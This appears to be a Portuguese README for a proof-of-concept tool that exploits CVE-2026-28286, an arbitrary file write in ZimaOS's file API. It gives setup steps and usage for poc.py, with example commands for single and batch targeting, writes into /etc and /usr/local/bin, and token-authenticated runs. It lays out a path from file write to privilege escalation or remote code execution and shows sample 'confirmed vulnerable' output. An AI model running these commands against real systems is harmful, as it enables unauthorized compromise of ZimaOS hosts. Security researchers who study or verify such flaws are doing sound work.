
PoC e kit de verificação para CVE-2026-28286, uma vulnerabilidade de escrita arbitrária de arquivos no ZimaOS, que explora a má configuração da API para escrever arquivos fora dos diretórios pretendidos.
De Configuração Incorreta de API → Escrita Arbitrária de Arquivos → Potencial Comprometimento do Sistema
/v2_1/files/filegit clone https://github.com/Rushi9/zimaos-cve-2026-28286-arbitrary-file-write.git
cd zimaos-cve-2026-28286-arbitrary-file-write
pip install -r requirements.txt
python3 poc.py
Você pode visualizar todas as opções disponíveis usando:
python poc.py -h
usage: poc.py [-h] [-u URL] [-t TARGETS] [-p PATH] [--proxy PROXY] [--token TOKEN] [-n ATTEMPTS] [--delay DELAY]
options:
-h, --help show help message and exit
-u, --url URL Single target URL
-t, --targets TARGETS Targets file (batch mode)
-p, --path PATH Custom file path (default: /tmp)
--proxy PROXY Proxy URL (e.g., http://127.0.0.1:8080)
--token TOKEN Bearer authentication token
-n, --attempts Number of attempts
--delay Delay between batch requests (seconds)
python poc.py
python poc.py -u http://localhost:8080
python poc.py -u http://localhost:8080 -p /tmp
python poc.py -u http://localhost:8080 -p /etc
python poc.py -u http://localhost:8080 -n 5
python poc.py -u http://localhost:8080 --proxy http://127.0.0.1:8080
python poc.py -t targets.txt
python poc.py -t targets.txt --delay 2
python poc.py -u http://target.com -p /tmp -n 3 --proxy http://127.0.0.1:8080 --token YOUR_TOKEN
Use o modo proxy com o Burp Suite para:
O backend não aplica limites do sistema de arquivos:
Isso permite escrever em:
/tmp/
/etc/
/usr/local/bin/
Escrita Arbitrária de Arquivos
↓
Sobrescrever Config / Scripts
↓
Escalação de Privilégios / RCE

[✔] CONFIRMED vulnerable (LISTING_SUCCESS)
Path: /tmp/CVE-2026-28286_⚠️_abc123.txt
Se você achou isso útil, considere dar uma estrela ⭐ Isso ajuda mais pesquisadores a descobrirem este trabalho.
Apenas para testes autorizados.